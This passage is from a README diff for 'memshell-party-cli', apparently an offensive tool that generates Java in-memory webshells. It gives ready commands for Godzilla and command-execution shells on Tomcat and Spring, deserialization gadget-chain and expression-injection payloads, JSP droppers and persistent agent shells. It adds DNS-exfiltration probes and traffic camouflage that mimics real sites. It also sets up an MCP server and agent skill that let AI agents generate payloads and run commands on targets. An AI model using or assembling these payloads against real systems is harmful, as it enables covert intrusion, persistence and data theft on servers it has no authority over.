+ match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
298
+ the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
299
+ `memparty config packers` first.
300
+
301
+ ### 1. Godzilla webshell on Tomcat 9 (javax)
302
+
303
+ ```bash
304
+ # Listener-based Godzilla shell, single base64 payload to stdout
305
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
306
+ --godzilla-pass pass --godzilla-key key --jdk java8
307
+
308
+ # ...or write the decoded injector .class straight to disk
309
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
310
+ --godzilla-pass pass --godzilla-key key -o shell.class
311
+ ```
312
+
313
+ ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
314
+
315
+ ```bash
316
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
317
+ --godzilla-pass pass --godzilla-key key --jdk java17
318
+ ```
319
+
320
+ ### 3. Pure command-execution shell (RCE)
321
+
322
+ ```bash
323
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
324
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
325
+ ```
326
+
327
+ ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
328
+
329
+ ```bash
330
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
331
+ --godzilla-pass pass --godzilla-key key --jdk java8
332
+ # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
333
+ ```
334
+
335
+ ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
336
+
337
+ ```bash
338
+ # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
339
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpELScriptEngine \
340
+ --command-param-name cmd --jdk java8
341
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
342
+ # On v3, SpEL/OGNL/JXPath are categories; choose a concrete child packer.
343
+ ```
344
+
345
+ ### 6. Drop a JSP file
346
+
347
+ ```bash
348
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
349
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
350
+ ```
351
+
352
+ ### 7. Java-agent memory shell (survives redeploys, hooks deep)
353
+
354
+ ```bash
355
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
356
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
357
+ ```
358
+
359
+ ### 8. Fingerprint the target first (blind)
360
+
361
+ ```bash
362
+ # DNSLog: confirm code execution + exfil the server/JDK name via DNS
363
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
364
+ # Sleep: time-based blind — delays Ns only if the server matches your guess
365
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
366
+ ```
367
+
368
+ The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
369
+
370
+ ### Parse a class name
371
+
372
+ ```bash
373
+ memparty parse-classname --file shell.class
374
+ memparty parse-classname <base64-of-class-bytes>
375
+ ```
376
+
377
+ ### Version
378
+
379
+ ```bash
380
+ memparty version # CLI version + backend server version
381
+ ```
382
+
383
+ ## MCP server
384
+
385
+ Run the CLI as an MCP server over stdio:
386
+
387
+ ```bash
388
+ memparty mcp --api http://127.0.0.1:8080
389
+ ```
390
+
391
+ Example Claude Code / Claude Desktop config:
392
+
393
+ ```json
394
+ {
395
+ "mcpServers": {
396
+ "memshell-party": {
397
+ "command": "npx",
398
+ "args": ["-y", "memshell-party-cli", "mcp"],
399
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
400
+ }
401
+ }
402
+ }
403
+ ```
404
+
405
+ Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
406
+ `list_shell_tool_configs`, `list_obfuscation_options`, `generate_memshell`, `generate_probe`, `bytecode_decode`, `bytecode_transform`, `parse_classname`, `server_version`, `connect_test`,
407
+ `exec_command`, `download_file`, `upload_file`, `target_save`, `target_note`, `target_list`,
408
+ `target_remove`, `log_list`.
409
+
410
+ `generate_memshell` / `generate_probe` return the packed payload in `packResult`; pass the
411
+ optional `outputFile` argument to also write it to a local file (base64 auto-decoded for
412
+ `.class`/`.jar`/`.zip`/`.ser`/`.bin`), and the response gains an `outputFile` field with the
413
+ write result.
414
+
415
+ ## AI skill
416
+
417
+ The package ships `skills/memshell-party/SKILL.md` — a workflow guide for agents (server / tool /
418
+ type / packer decision tree, probe matrix, packer-by-scenario guidance, mimic site profiles, and
419
+ common gotchas such as Jakarta vs javax, JDK targeting, packer categories vs concrete variants).
420
+
421
+ Install with the built-in command (re-run after a CLI upgrade to refresh; restart the agent so it
422
+ picks the skill up):
423
+
424
+ ```bash
425
+ memparty skill install # ~/.agents/skills/memshell-party (default)
426
+ memparty skill install --claude # ~/.claude/skills/memshell-party (Claude Code)
427
+ memparty skill install --project # ./skills/memshell-party
428
+ memparty skill install --user --claude # both user + claude scopes
429
+ ```
430
+
431
+ Then ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
432
+ *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
433
+ the agent to enumerate options first and pick the right packer for the vector.
434
+
435
+ ## Site-mimicking (mimic)
436
+
437
+ Build a custom shell whose traffic blends into a real business site. Flow:
438
+
439
+ ```bash
440
+ memparty skill install # teach the agent the workflow
441
+ memparty profile init acme --site http://192.0.2.1:8080 # skeleton profile to hand-author
442
+ memparty custom build --profile acme --server Tomcat # -> injectable payload
443
+ memparty demo # local end-to-end walkthrough
444
+ ```
445
+
446
+ `profile` also has `list` / `show` / `check`. Details and camouflage options (body templates, JSON
447
+ request bodies, SSE cover streams, etc.) live in the skill.
448
+
449
+ ## Programmatic use
450
+
451
+ The package also ships a typed API client:
452
+
453
+ ```ts
454
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
455
+
456
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
457
+ const res = await client.generateMemShell(
458
+ buildMemShellRequest({
459
+ server: "Tomcat",
460
+ shellTool: "Godzilla",
461
+ shellType: "Listener",
462
+ packer: "DefaultBase64",
463
+ godzillaPass: "pass",
464
+ godzillaKey: "key",
465
+ jdk: "java8",
466
+ }),
467
+ );
468
+ console.log(res.memShellResult.shellClassName, res.packResult);
469
+ ```
470
+
471
+ ## Development
472
+
473
+ ```bash
474
+ npm install
475
+ npm run build # tsup -> dist/
476
+ npm test # vitest
477
+ npm run typecheck # tsc --noEmit
478
+ ```
479
+
480
+ ## License
481
+
482
+ MIT